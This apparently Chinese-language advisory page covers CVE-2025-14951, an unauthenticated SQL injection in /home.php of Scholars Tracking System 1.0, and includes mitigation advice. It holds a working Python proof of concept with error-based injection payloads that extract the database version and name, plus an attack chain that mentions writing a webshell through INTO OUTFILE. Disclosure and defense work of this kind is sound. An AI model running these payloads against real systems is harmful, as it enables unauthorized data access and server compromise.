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CVE-2025-14951 CVSS 7.3 高危

CVE-2025-14951 code-projects Scholars Tracking System 1.0 SQL注入漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14951
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Scholars Tracking System 1.0

相关标签

SQL注入code-projectsScholars Tracking SystemCVE-2025-14951高危漏洞无认证利用web应用安全数据库安全错误型SQL注入/home.php

漏洞概述

CVE-2025-14951是code-projects Scholars Tracking System 1.0版本中的一个高危SQL注入漏洞。该漏洞存在于/home.php文件的post_content参数中,攻击者可以通过构造恶意的SQL语句实现对数据库的未授权访问和操作。由于该漏洞的CVSS评分达到7.3,属于高危级别,且攻击向量为网络层面,攻击者无需任何认证即可发起攻击,因此该漏洞具有极高的安全风险。Scholars Tracking System是一款用于管理学者跟踪的系统,如果被攻击者利用,可能导致敏感学术数据泄露、数据库被篡改,甚至可能通过数据库获得服务器的进一步访问权限。该漏洞已于2025年12月19日公开披露, exploit代码已在互联网上流传,攻击者可以轻易获取并使用这些攻击工具。鉴于该系统可能部署在高校、研究机构等学术环境中,一旦被攻击,不仅会造成数据泄露,还可能影响学术研究的正常进行。因此,系统管理员应立即采取修复措施,防止漏洞被利用。

技术细节

该SQL注入漏洞存在于 Scholars Tracking System 1.0 的 /home.php 文件中,具体问题出在对 post_content 参数的处理上。系统在处理用户输入时,未对post_content参数进行充分的输入验证和SQL语句过滤,导致攻击者可以通过构造特殊的SQL payloads来执行任意SQL命令。攻击者无需任何认证凭证,只需通过HTTP请求向 /home.php 端点发送包含恶意SQL代码的 post_content 参数,即可触发漏洞。根据漏洞披露信息,这是一个典型的基于错误的SQL注入(Error-based SQL Injection),攻击者可以通过分析数据库返回的错误信息来逐步获取数据库中的敏感数据。由于该系统可能使用MySQL数据库,攻击者可以利用UNION SELECT、EXTRACTVALUE等技术从数据库中提取信息,包括用户凭证、学术数据等。攻击者还可以通过 INTO OUTFILE 等语句将恶意代码写入服务器,实现进一步的攻击目的,如远程代码执行。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统为code-projects Scholars Tracking System 1.0,并定位到存在SQL注入漏洞的/home.php文件
STEP 2
漏洞探测
攻击者通过发送包含SQL特殊字符的请求测试post_content参数,验证漏洞存在性
STEP 3
构造恶意payload
攻击者构造基于错误的SQL注入payload,利用CONCAT、COUNT、FLOOR等函数触发数据库错误并提取数据
STEP 4
数据库枚举
通过UNION SELECT或error-based技术逐步获取数据库版本、数据库名、表名、字段名等敏感信息
STEP 5
数据提取
攻击者提取数据库中的敏感数据,可能包括用户账号、密码、学术研究数据等
STEP 6
权限提升
如果数据库权限足够,攻击者可能通过INTO OUTFILE写入webshell,获得服务器远程代码执行权限
STEP 7
持久化控制
攻击者建立后门,维持对系统的持久访问权限,可能窃取更多敏感数据或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14951 SQL Injection PoC # Target: code-projects Scholars Tracking System 1.0 # File: /home.php # Parameter: post_content def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in post_content parameter """ # Construct the malicious request endpoint = f"{target_url}/home.php" # SQL injection payload - extract database version data = { 'post_content': payload } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def extract_database_info(target_url): """ Extract database version information using error-based SQL injection """ # Payload to extract MySQL version payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) -- -" print(f"[*] Sending payload to extract database version...") result = exploit_sqli(target_url, payload) print(f"[+] Response:\n{result}") return result def extract_current_database(target_url): """ Extract current database name """ payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a) -- -" print(f"[*] Sending payload to extract database name...") result = exploit_sqli(target_url, payload) print(f"[+] Response:\n{result}") return result if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14951.py <target_url>") print("Example: python cve-2025-14951.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2025-14951 SQL Injection PoC") print(f"[*] Target: {target}") print(f"[*] Exploiting /home.php post_content parameter\n") extract_database_info(target) print("\n" + "="*50 + "\n") extract_current_database(target)

影响范围

code-projects Scholars Tracking System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)使用Web应用防火墙规则阻断包含SQL注入特征的请求,如包含UNION、SELECT、AND、OR等SQL关键字组合的请求;2)对/home.php页面实施访问控制,限制只有授权用户才能访问;3)禁用或限制数据库错误信息回显,防止攻击者通过错误信息获取数据库结构;4)定期备份数据库,以便在遭受攻击后能够快速恢复;5)监控服务器日志和数据库查询日志,及时发现异常行为;6)考虑使用入侵检测系统(IDS)监控针对该漏洞的攻击尝试。

参考链接

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